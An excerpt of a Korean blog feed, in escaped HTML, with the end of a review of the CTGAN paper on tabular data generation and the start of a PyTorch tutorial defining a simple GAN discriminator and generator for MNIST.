&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1093&quot; data-origin-height=&quot;732&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MZnn4/btrvQhRzfxz/kzgyuZzuqQaWS7zpt2bGz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MZnn4/btrvQhRzfxz/kzgyuZzuqQaWS7zpt2bGz0/img.png&quot; data-alt=&quot;[그림 8] Likelihood fitness metric&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MZnn4/btrvQhRzfxz/kzgyuZzuqQaWS7zpt2bGz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMZnn4%2FbtrvQhRzfxz%2FkzgyuZzuqQaWS7zpt2bGz0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;438&quot; height=&quot;293&quot; data-origin-width=&quot;1093&quot; data-origin-height=&quot;732&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 8] Likelihood fitness metric&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;우선&amp;nbsp;Simulated된&amp;nbsp;데이터를&amp;nbsp;Train&amp;nbsp;과&amp;nbsp;Test로&amp;nbsp;나누고,&amp;nbsp;Test&amp;nbsp;데이터를&amp;nbsp;생성모델을&amp;nbsp;통해&amp;nbsp;synthesize한다.&amp;nbsp;이&amp;nbsp;Synthetic&amp;nbsp;data와&amp;nbsp;기존에&amp;nbsp;Simulated&amp;nbsp;된&amp;nbsp;데이터&amp;nbsp;사이의&amp;nbsp;유사도&amp;nbsp;likelihood를&amp;nbsp;구하면&amp;nbsp;L(sync)&amp;nbsp;가&amp;nbsp;나오게&amp;nbsp;된다. &lt;br /&gt;하지만&amp;nbsp;L(sync)는&amp;nbsp;생성&amp;nbsp;모델이&amp;nbsp;overfitting될수록&amp;nbsp;잘&amp;nbsp;나오기&amp;nbsp;때문에,&amp;nbsp;이를&amp;nbsp;피하기&amp;nbsp;위해&amp;nbsp;Test데이터와&amp;nbsp;synthesize&amp;nbsp;데이터&amp;nbsp;사이의&amp;nbsp;likelihood를&amp;nbsp;구한&amp;nbsp;L(test)도&amp;nbsp;사용하게&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;Machine learning efficacy&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Machine&amp;nbsp;learning&amp;nbsp;efficacy&amp;nbsp;에서는&amp;nbsp;앞서&amp;nbsp;설명한&amp;nbsp;두가지&amp;nbsp;데이터셋&amp;nbsp;타입&amp;nbsp;중,&amp;nbsp;Real&amp;nbsp;data를&amp;nbsp;사용하게&amp;nbsp;된다. &lt;br /&gt;[그림&amp;nbsp;9]는&amp;nbsp;Machine&amp;nbsp;learning&amp;nbsp;efficacy를&amp;nbsp;구하는데&amp;nbsp;사용된&amp;nbsp;framework를&amp;nbsp;나타낸&amp;nbsp;것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1303&quot; data-origin-height=&quot;744&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVG0Hw/btrvQfTNoe0/e5oiJLpEe0ckGhyrH3i2L1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVG0Hw/btrvQfTNoe0/e5oiJLpEe0ckGhyrH3i2L1/img.png&quot; data-alt=&quot;[그림 9] Machine learning efficacy&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVG0Hw/btrvQfTNoe0/e5oiJLpEe0ckGhyrH3i2L1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVG0Hw%2FbtrvQfTNoe0%2Fe5oiJLpEe0ckGhyrH3i2L1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;487&quot; height=&quot;278&quot; data-origin-width=&quot;1303&quot; data-origin-height=&quot;744&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 9] Machine learning efficacy&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;실제&amp;nbsp;데이터셋의&amp;nbsp;Train&amp;nbsp;부분을&amp;nbsp;통해&amp;nbsp;생성된&amp;nbsp;Synthetic&amp;nbsp;Data를&amp;nbsp;기반으로&amp;nbsp;다양한&amp;nbsp;ML&amp;nbsp;모델(DT,&amp;nbsp;SVM,&amp;nbsp;MLP)을&amp;nbsp;학습시킨&amp;nbsp;결과와,&amp;nbsp;실제&amp;nbsp;데이터셋의&amp;nbsp;Test&amp;nbsp;부분을&amp;nbsp;기반으로&amp;nbsp;동일한&amp;nbsp;ML&amp;nbsp;모델을&amp;nbsp;학습시킨&amp;nbsp;결과와의&amp;nbsp;성능&amp;nbsp;차이를&amp;nbsp;비교하면&amp;nbsp;된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;5.3.&amp;nbsp;Benchmarking&amp;nbsp;Results&lt;/b&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게&amp;nbsp;두가지&amp;nbsp;metric을&amp;nbsp;기반으로&amp;nbsp;실험을&amp;nbsp;진행한&amp;nbsp;결과는&amp;nbsp;[그림&amp;nbsp;10]과&amp;nbsp;같다. &lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;468&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b14sPm/btrvRzR00AU/iWMWKdbZKWPYn8Q3yOlVyk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b14sPm/btrvRzR00AU/iWMWKdbZKWPYn8Q3yOlVyk/img.png&quot; data-alt=&quot;[그림 10] benchmarking results&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b14sPm/btrvRzR00AU/iWMWKdbZKWPYn8Q3yOlVyk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb14sPm%2FbtrvRzR00AU%2FiWMWKdbZKWPYn8Q3yOlVyk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;569&quot; height=&quot;281&quot; data-origin-width=&quot;946&quot; data-origin-height=&quot;468&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 10] benchmarking results&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GM Sim과 BN Sim 은 각각 Likelihood fitness metric에서 사용된 simulated data가 Gaussian mixture simulated data와 Bayesian network simulated data를 사용했을 때 측정한 L(sync)와 L(test)를 나타냈으며, Real 항목은 Machine learning efficacy metric에서의 성능 지표를 나타낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;전체적으로&amp;nbsp;본&amp;nbsp;논문에서&amp;nbsp;제안한&amp;nbsp;TVAE와&amp;nbsp;CTGAN이&amp;nbsp;좋은&amp;nbsp;성능을&amp;nbsp;내는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;하지만&amp;nbsp;TVAE의&amp;nbsp;경우&amp;nbsp;직접적으로&amp;nbsp;실제&amp;nbsp;데이터를&amp;nbsp;통해&amp;nbsp;generator를&amp;nbsp;학습시키고,&amp;nbsp;GAN의&amp;nbsp;경우&amp;nbsp;Discriminator를&amp;nbsp;통해&amp;nbsp;간접적으로&amp;nbsp;generator를&amp;nbsp;학습시키기&amp;nbsp;때문에,&amp;nbsp;&lt;span style=&quot;color: #1b711d;&quot;&gt;&lt;b&gt;Privacy&amp;nbsp;등의&amp;nbsp;보안&amp;nbsp;이슈&lt;/b&gt;&lt;/span&gt;가&amp;nbsp;있는&amp;nbsp;경우&amp;nbsp;&lt;span style=&quot;color: #1b711d;&quot;&gt;&lt;b&gt;CTGAN&lt;/b&gt;&lt;/span&gt;을&amp;nbsp;이용하는&amp;nbsp;것이&amp;nbsp;더&amp;nbsp;좋은&amp;nbsp;선택지가&amp;nbsp;될&amp;nbsp;수&amp;nbsp;있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;&amp;nbsp;5.4.&amp;nbsp;Ablation&amp;nbsp;Study&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;Ablation&amp;nbsp;study는&amp;nbsp;본&amp;nbsp;논문에서&amp;nbsp;제안한&amp;nbsp;기능을&amp;nbsp;하나씩&amp;nbsp;제거해보면서,&amp;nbsp;해당&amp;nbsp;기능이&amp;nbsp;성능향상에&amp;nbsp;도움이&amp;nbsp;되었음을&amp;nbsp;증명하는&amp;nbsp;방법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;[그림 11]과 같이 본 논문에서 제안한 기능에대한 Ablation study를 수행한 결과, Mode-specific Normalization, conditional generator &amp;amp; training-by-sampling, Network architecture 등 모든 기능이 CTGAN의 성능을 향상시킨 것으로 나타났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1439&quot; data-origin-height=&quot;160&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPNiSh/btrvL5ZaUc7/n2LvjoHqVkSMTB90ZmtgDk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPNiSh/btrvL5ZaUc7/n2LvjoHqVkSMTB90ZmtgDk/img.png&quot; data-alt=&quot;[그림 11] Ablation study result&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPNiSh/btrvL5ZaUc7/n2LvjoHqVkSMTB90ZmtgDk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPNiSh%2FbtrvL5ZaUc7%2Fn2LvjoHqVkSMTB90ZmtgDk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;788&quot; height=&quot;87&quot; data-origin-width=&quot;1439&quot; data-origin-height=&quot;160&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 11] Ablation study result&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;즉,&amp;nbsp;Tabular&amp;nbsp;데이터를&amp;nbsp;synthesize&amp;nbsp;하는&amp;nbsp;과정에서&amp;nbsp;CTGAN에서&amp;nbsp;소개한&amp;nbsp;기법들이&amp;nbsp;큰&amp;nbsp;도움을&amp;nbsp;준다는&amp;nbsp;것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;br /&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;6.&amp;nbsp;Conclusion&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;본&amp;nbsp;논문에서는&amp;nbsp;discrete&amp;nbsp;/&amp;nbsp;continuous&amp;nbsp;data가&amp;nbsp;혼재되어있는&amp;nbsp;tabular&amp;nbsp;data에서&amp;nbsp;데이터를&amp;nbsp;생성하는&amp;nbsp;CTGAN을&amp;nbsp;제안하였다. &lt;br /&gt;Mode-specific&amp;nbsp;normalization을&amp;nbsp;통해&amp;nbsp;중구난방의&amp;nbsp;분포를&amp;nbsp;가지던&amp;nbsp;continuous&amp;nbsp;값을&amp;nbsp;NN&amp;nbsp;학습에&amp;nbsp;최적화된&amp;nbsp;형태로&amp;nbsp;normalize&amp;nbsp;하였으며,&amp;nbsp;conditional&amp;nbsp;generator와&amp;nbsp;training-by-sampling&amp;nbsp;을&amp;nbsp;통해&amp;nbsp;학습과정에서의&amp;nbsp;imbalance&amp;nbsp;data&amp;nbsp;이슈를&amp;nbsp;해결하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #666666;&quot;&gt;&lt;b&gt;Reference&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;&lt;i&gt;Lei Xu, Maria Skoularidou, Alfredo Cuesta-Infante, Kalyan Veeramachaneni,&lt;/i&gt; &quot;Modeling&amp;nbsp;Tabular&amp;nbsp;data&amp;nbsp;using&amp;nbsp;Conditional&amp;nbsp;GAN&quot; ,&lt;span&gt; NIPS'19, 2019&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;</description>
      <category>논문</category>
      <category>Conditional GAN</category>
      <category>CTGAN</category>
      <category>gan</category>
      <category>Tabular GAN</category>
      <author>dong1</author>
      <guid isPermaLink="true">https://ddongwon.tistory.com/125</guid>
      <comments>https://ddongwon.tistory.com/125#entry125comment</comments>
      <pubDate>Sun, 13 Mar 2022 17:41:13 +0900</pubDate>
    </item>
    <item>
      <title>[Pytorch] GAN 구현 및 학습</title>
      <link>https://ddongwon.tistory.com/124</link>
      <description>&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1. 개요&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;a href=&quot;https://github.com/godeastone/GAN-torch&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/godeastone/GAN-torch&lt;/a&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pytorch 로 구현한 GAN 전체 코드는 위 git repository에서 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2. GAN&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GAN은 2014년 Ian Goodfellow 님에 의해 개발되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GAN 논문에 대한 자세한 정보는 아래 글을 참고하도록 하고, 이번에는 GAN의 전체적인 구조를 대략 살펴보고 코드로 구현하는데 집중을 해도록 하자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://ddongwon.tistory.com/117&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://ddongwon.tistory.com/117&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1647075100806&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[논문] Generative Adversarial Nets&quot; data-og-description=&quot;논문 제목 : Generative Adversarial Nets 0. abstract 본 논문에서는 adversarial process를 통한 generative model을 estimate 하는 새로운 프레임워크,&amp;nbsp;GAN을 제안한다. GAN에서는 동시에 2개의 모델을 학습시..&quot; data-og-host=&quot;ddongwon.tistory.com&quot; data-og-source-url=&quot;https://ddongwon.tistory.com/117&quot; data-og-url=&quot;https://ddongwon.tistory.com/117&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cetMgB/hyNGIiCJl1/KeKA4hGuRXU4wcrvcAy5EK/img.png?width=800&amp;amp;height=583&amp;amp;face=410_5_793_263,https://scrap.kakaocdn.net/dn/bXH3He/hyNGMyxKP5/59f0If6J8NK7k3zFTT36o1/img.png?width=800&amp;amp;height=583&amp;amp;face=410_5_793_263,https://scrap.kakaocdn.net/dn/OrNbt/hyNGNEdPFX/jw70wyO2p7xl0me8LL97O1/img.png?width=1439&amp;amp;height=466&amp;amp;face=0_0_1439_466&quot;&gt;&lt;a href=&quot;https://ddongwon.tistory.com/117&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://ddongwon.tistory.com/117&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cetMgB/hyNGIiCJl1/KeKA4hGuRXU4wcrvcAy5EK/img.png?width=800&amp;amp;height=583&amp;amp;face=410_5_793_263,https://scrap.kakaocdn.net/dn/bXH3He/hyNGMyxKP5/59f0If6J8NK7k3zFTT36o1/img.png?width=800&amp;amp;height=583&amp;amp;face=410_5_793_263,https://scrap.kakaocdn.net/dn/OrNbt/hyNGNEdPFX/jw70wyO2p7xl0me8LL97O1/img.png?width=1439&amp;amp;height=466&amp;amp;face=0_0_1439_466');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[논문] Generative Adversarial Nets&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;논문 제목 : Generative Adversarial Nets 0. abstract 본 논문에서는 adversarial process를 통한 generative model을 estimate 하는 새로운 프레임워크,&amp;nbsp;GAN을 제안한다. GAN에서는 동시에 2개의 모델을 학습시..&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ddongwon.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 GAN은 한마디로 &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Generator&lt;/b&gt;&lt;/span&gt;와 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;Discriminator&lt;/b&gt;&lt;/span&gt;를 adversarial 하게 잘 학습시켜 기존의 데이터셋과 유사한 데이터를 생성하도록 하는 생성모델이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Generator는 &lt;span style=&quot;color: #5733b1;&quot;&gt;&lt;b&gt;noise vector 'z'&lt;/b&gt;&lt;/span&gt; 을 input으로 받아서, 기존의 데이터셋과 유사한 확률 분포를 가지는 데이터 샘플을 output으로 뽑아내는 녀석이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Discriminator 는 실제 데이터셋에서 나온 데이터(real) 와, Generator에서 나온 데이터(fake)를 input으로 받아 이 둘을 최대한 real 과 fake로 classification 하는 녀석이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, Generator는 최대한 그럴듯한 데이터를 만들어내는게 목표고, Discriminator는 최대한 real 과 fake 데이터를 구분하려하는게 목표이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;Discriminator&lt;/b&gt;&lt;/span&gt;는 &lt;span style=&quot;color: #1b711d;&quot;&gt;&lt;b&gt;D(x) -&amp;gt; 1(real), D(G(z)) -&amp;gt; 0(fake)로&lt;/b&gt;&lt;/span&gt; 학습시키고, &lt;span style=&quot;color: #0593d3;&quot;&gt;&lt;b&gt;Generator&lt;/b&gt;&lt;/span&gt;는 &lt;span style=&quot;color: #1a5490;&quot;&gt;&lt;b&gt;D(G(z)) 의 결과가 최대한 1(real)로 착각하도록&lt;/b&gt;&lt;/span&gt; 학습시킨다. 흔히 볼 수 있는 [그림 1]의 GAN의 loss 함수는 위 개념을 바탕으로 나온 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1495&quot; data-origin-height=&quot;112&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSJo1v/btrvQhJ0AYq/NvPhAtxgcFWum2UHiBnHH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSJo1v/btrvQhJ0AYq/NvPhAtxgcFWum2UHiBnHH1/img.png&quot; data-alt=&quot;[그림 1] GAN objective function&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSJo1v/btrvQhJ0AYq/NvPhAtxgcFWum2UHiBnHH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSJo1v%2FbtrvQhJ0AYq%2FNvPhAtxgcFWum2UHiBnHH1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1495&quot; height=&quot;112&quot; data-origin-width=&quot;1495&quot; data-origin-height=&quot;112&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;[그림 1] GAN objective function&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3. 구현&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 이제 GAN을 어떻게 구현할 수 있을지 코드를 보며 이해해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647075935561&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Discriminator(nn.Module):
    def __init__(self):
        super(Discriminator, self).__init__()

        self.linear1 = nn.Linear(img_size, hidden_size2)
        self.linear2 = nn.Linear(hidden_size2, hidden_size1)
        self.linear3 = nn.Linear(hidden_size1, 1)
        self.leaky_relu = nn.LeakyReLU(0.2)
        self.sigmoid = nn.Sigmoid()

    def forward(self, x):
        x = self.leaky_relu(self.linear1(x))
        x = self.leaky_relu(self.linear2(x))
        x = self.linear3(x)
        x = self.sigmoid(x)
        return x&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 &lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;Discriminator&lt;/b&gt;&lt;/span&gt;는 위와 같이 정의할 수 있다. 일반적인 multi layer neural network로 구성되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;총 3개의 Linear layer로 구성되어 있는데, 첫번째 layer에서는 MNIST 이미지 사이즈 (1 x 28 x 28 = 784)을 입력받고, 마지막 레이어에서는 classification을 위해 1개의 노드로 정리된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 레이어 사이에는 activation function으로 leaky ReLU 함수가 사용되었으며, 마지막에는 확류로 표현하기 위해 &lt;b&gt;sigmoid&lt;/b&gt; 함수가 사용되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1647076235820&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;class Generator(nn.Module):
    def __init__(self):
        super(Generator, self).__init__()

        self.linear1 = nn.Linear(noise_size, hidden_size1)
        self.linear2 = nn.Linear(hidden_size1, hidden_size2)
        self.linear3 = nn.Linear(hidden_size2, img_size)
        self.relu = nn.ReLU()
        self.tanh = nn.Tanh()

    def forward(self, x):
        x = self.relu(self.linear1(x))
        x = self.relu(self.linear2(x))
        x = self.linear3(x)
        x = self.tanh(x)
        return x&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #409d00;&quot;&gt;&lt;b&gt;Generator&lt;/b&gt;&lt;/span&gt;는 Discriminator와 반대로 구성되어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 총 3개의 Linear layer로 구성되어 있으며, 입력값으로 noise vector 'z'의 크기만큼의 노드가 사용되고, 마지막 layer에서는 실제 MNIST 데이터의 크기 (1 x 28 x 28 = 784) 개의 노드로 정리된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 layer 사이에는 activation function으로 &lt;b&gt;ReLU&lt;/b&gt; 함수가 사용되었으며, 마지막 layer 에는 &lt;b&gt;tanh&lt;/b&gt; 함수가 사용되었다.&lt;/p&gt;
